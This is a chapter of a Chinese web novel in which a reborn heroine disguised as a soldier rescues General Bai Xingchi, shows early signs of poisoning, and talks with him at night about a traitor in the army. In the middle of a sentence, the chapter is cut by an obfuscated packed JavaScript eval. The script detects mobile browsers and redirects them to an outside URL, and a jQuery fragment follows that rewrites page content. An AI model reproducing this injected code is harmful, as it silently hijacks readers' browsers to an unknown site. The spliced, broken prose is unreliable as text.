林夏心与白行迟隔着人群遥遥对视。
白行迟瘦了,还憔悴了。
她快步朝他小跑过去,目光一直锁定在他身上,一眨不眨。
她生怕自己一眨眼,好不容易找到的白行迟就“嗖”地一下消失了。
说起来,明明他们才二十几天未见而已,但她却感觉已经有好几十年了。
这短短一眼的对视,竟像是穿越了半生。
一眼万年,兴许就是这种感觉吧。
林夏心小跑到白行迟面前,不自觉抬起手,又在半空中堪堪放下。
她按捺住上前查看的欲望,问出了心中一直担忧的一连串问题:“将军,你……可有受伤?可有中毒?可有哪里不适?”
白行迟感受到她的目光中交织着担忧和庆幸。
很复杂的眼神。
这不像是下属看长官的目光。
反而像是阔别许久的好友。
他也不明白自己为什么会有这种感觉。
他甚至觉得,这小豆丁,刚才走到近前来的时候是想……
扒拉自己?
白行迟摇摇头,晃出脑中这个奇怪的想法,声音清冷依旧:“轻伤而已,无事。”
林夏心这才重重呼出一口气,略微放松下来。
刚才情况紧急,她根本没时间想别的,现在尘埃落定,她随即便涌起了一阵巨大的后怕。
如果他们再晚来一刻钟,不,半刻钟,白行迟和亲兵们仅以三十人对战五百敌军,岂不是就要……
不不不不,没有这种如果!
她不愿意继续做这样的假设。
一路上,脑中各种“如果”、“要是”、“万一”的猜测层出不穷,让她的心一直上下左右“嘭嘭”乱窜,担忧不已。
她真怕白行迟会如前世一般,在血枫林山中受伤中毒,最后因救治不及时而废了一身武功。
她也怕重来一世,仍旧要面对前世残忍血腥的一切。
她还怕自己仍旧直到死也看不清幕后那双大手的模样。
万幸,这次白行迟并没有中毒,她和战友们也在最后关头及时赶到,成功救下了他们!
这一刻,林夏心在心中虔诚地对着天际跪拜下来,感谢上苍,感谢天地,感谢各路神仙!
她彻底放下了七上八下到处乱抖的心。
随即端正神色,对白行迟躬身行了一礼:“将军,末将夏行,奉李副帅之命前来接应将军。”
“此乃令牌,”她掏出令牌双手递交过去,“现交予将军。”
白行迟颔首,接过令牌,相当于接手了这支队伍的领兵权。
交接完领兵权,林夏心总算卸下了压在身上的担子,彻底放松下来。
她又侧身让出身后的李敢,介绍道:“这位是先锋营的李敢,是本次救援任务的旗手。”
李敢行礼:“属下李敢,见过将军!”
“我知道你,”没想到白行迟认识他,颔首拍拍他的肩头,“你做得很好,现下还需辛苦你继续担任旗手一职。”
李敢受宠若惊,忙又行了一礼:“谢将军夸赞,属下定不辱使命!”
交接完成,白行迟纵使有一肚子问题要问,也得先憋一憋。
他心知此地不宜久留,现在不是问话的时候,便先去忙了。
他命令所有人员休整一炷香,然后启程去寻找今晚驻扎的临时营地。
林夏心走到一边,靠坐在树下休息,目光却一直粘在白行迟身上。
终于又见到白行迟了。
他没事,没中毒,没受伤!
真好!
白行迟感觉有道视线一直放在自己身上,很自然地回头去寻了寻。
于是他便看见一双乌溜溜、湿润润的圆眼睛一直地盯着自己看,然后眨巴了一下。
他虽仍是面色清冷,眼中却不禁爬上一丝笑意。
估计是这小豆丁盯着自己看太久,眼睛又酸了。
他好像总喜欢这样一瞬不瞬地盯着自己看。
也不知道到底为何。
真是个奇怪的家伙。
林夏心正盯着白行迟看得专注,突然感觉心口微微刺痛了一下,左手腕处有点酥麻。
像是被针轻轻戳了一下。
她抬手看手腕,发现那里有不少污渍,弄得袖口脏兮兮的,便随手抹了抹。
污渍被擦去了不少,手腕一下子干净许多,却有一条淡淡的黑线仍顽强地趴在上面。
她用力搓搓,黑线却没有任何被擦掉的迹象。
可能是什么顽固的污渍吧,等回营了一定要去小溪边好好洗个澡!
林夏心甩甩手腕没在意。
差不多到整兵的时间了,她起身,随意拍了拍身上的尘土。
突然心口又是一阵细密的刺痛。
她眼前发黑,还有些晕乎乎的,一时间什么都听不见看不见。
她下意识用左手扶住树干,右手抚上心口,等待这波疼痛过去。
这一次的刺痛又快又密,不过来得快,去得也快。
不过几息功夫,便完全感觉不到了。
她的眼前也恢复了清明。
难道是中毒了?
白行迟正在等众人列队,余光看到夏行捂着心口站在树下,便大步走过来。
“可是受了伤?”
林夏心正在看左手腕的小黑线,突然听到白行迟的声音,忙放下袖子,摇摇头答道:“没有,可能是被小虫蜇了一下。”
他心里一突:“哪种小虫?可带了毒?”
“应该没有。”林夏心摇头,不确定道。
“若是哪里不适一定告知我。”
她点点头答应:“嗯。”
众人选了一个方向继续前进,斥候先行。
这回粮草充足,战力众多,路线明确,气氛已跟之前的茫然绝望截然不同。
不多时,斥候归队了,带着大部队去到一个地势稍硬,背靠断崖的空地扎营。
所有人分工明确,很快便布置好了临时营地。
夜已深了,弯月挂在天边,发出温黄的光。
林夏心盘腿坐在一块巨石上,仰头望天。
天空中星辰明明灭灭,闪烁不定。
好像唾手可得,却又分明远在天边。
身后突然传来脚步声,随后轻巧一跃坐到了她边上。
林夏心回过头,看见白行迟正曲着一条大长腿坐在那儿。
“白行……”她脱口而出,却又马上意识到他们现在还不熟,便又堪堪找补道,“……白将军,你怎么来了?”
白行迟看着眼前这奇怪的小豆丁,问出了心中的问题:“我怎么觉得你总想叫我名字?”
这不是前世叫习惯了吗……
林夏心在内心嘀咕。
前世她跟白行迟虽算不上太熟,但也是一个月见上五六七八面的关系,以至于她面对着这张熟悉的脸时,总是会下意识地叫他名字。
这习惯可不好,得改。
白行迟还在看着她,没法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455626|185089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逃避,她便只能尴尬地硬编:“这不是……显得亲近一些,呵呵呵……”
亲近?
白行迟面无表情,一双清冷的桃花眼看着她,没有说话。
像是在说:你看我这样够不够“亲近”?
“那个……咳!将军找我何事?”
白行迟见她是不打算说出什么一二三了,便只得暂时作罢,转而问道:“我以为援军主将会是李副帅,你刚入先锋营不久,怎会是你领兵?”
说到正事,林夏心也不由得正色起来:“赵中郎将原本安排了六千先锋跟随李副帅作为援军,但半途遭遇了两万余敌军埋伏。
援军折损近半,李副帅身中奇毒,彻底昏迷前便将领兵权转交给了我。”
这段话信息量太大,白行迟的疑问非但没有减少,一时间反而更多了。
“你们也遇到了伏击?敌军也是数倍于己方?”
“对。”
“照你所说,敌军很可能提前知晓了援军路线?”
林夏心点头:“没错。”
“看来,”白行迟垂眸沉思,“白家军中……”
“必有内奸。”林夏心很肯定接口道。
两人对视一眼,都从对方的眼神中读出了沉重。
“可是,你才刚进先锋营,李副帅为何将领兵权交予你?”白行迟又问道,“若我没记错,李敢才是先锋营公认第一。”
林夏心挠挠头发,有点不确定:“可能……因为他清醒的时候身边只有我?”
然后她有些羞赧地继续挠挠后脑勺,扭扭捏捏地自夸道:“当然也可能是因为,我武功盖世,英勇无双,在战场中救下了中毒昏迷的李副帅。”
白行迟:“?”
“还带着将旗和三千残兵杀出重围。”
白行迟:“??”
“又当众打败了李敢,所以……”
白行迟:“!!!”
他越听越惊讶。
他知道这小豆丁的武力值高,但没想到这么高。
“所以李副帅临危授命,将重任托付给了你?”
林夏心连连点头:“嗯嗯嗯。”
“原来如此,”白行迟垂眸,“你后来可还有遇到伏击?”
林夏心摇头:“不曾。可能是因为我后来并未按照既定计划,而是换了新路线,所以很顺利便到了东侧入口。”
她想起什么,从怀中掏出十几块身份木牌,双手捧着递给白行迟,语气不禁低落下来:“将军,这是白二他们的身份木牌,他们的尸身我已安排入土。”
他们仅以十几人便杀了百余名敌兵,是当之无愧的英雄。”
白行迟一怔,没想到她竟能恰好拿回白二他们的木牌。
他缓缓伸手接过这十几个小小的木牌,一一抚过上面的名字,然后郑重地收进怀里。
他可以想象得到那是一场多么残酷的硬仗。
“多谢你。”他轻声说。
林夏心知道他此时心中定然很不好受,便没再说话,只静静坐着陪在他身边。
夜间湿凉的风吹来,将他鬓角的碎发卷到脸上。
明明没有什么表情,林夏心却能感受到此刻白行迟身上涌动的悲伤。
就像在“迷心瘴”中看见的前世白行迟那样——如果那些画面可以理解为前世的话。
他孤独坐在墙角,面无表情看着手中剑穗簌簌落泪的模样,让林夏心有些难受。
而现在的白行迟,虽然没有落泪,但她清楚地知道——他在疼。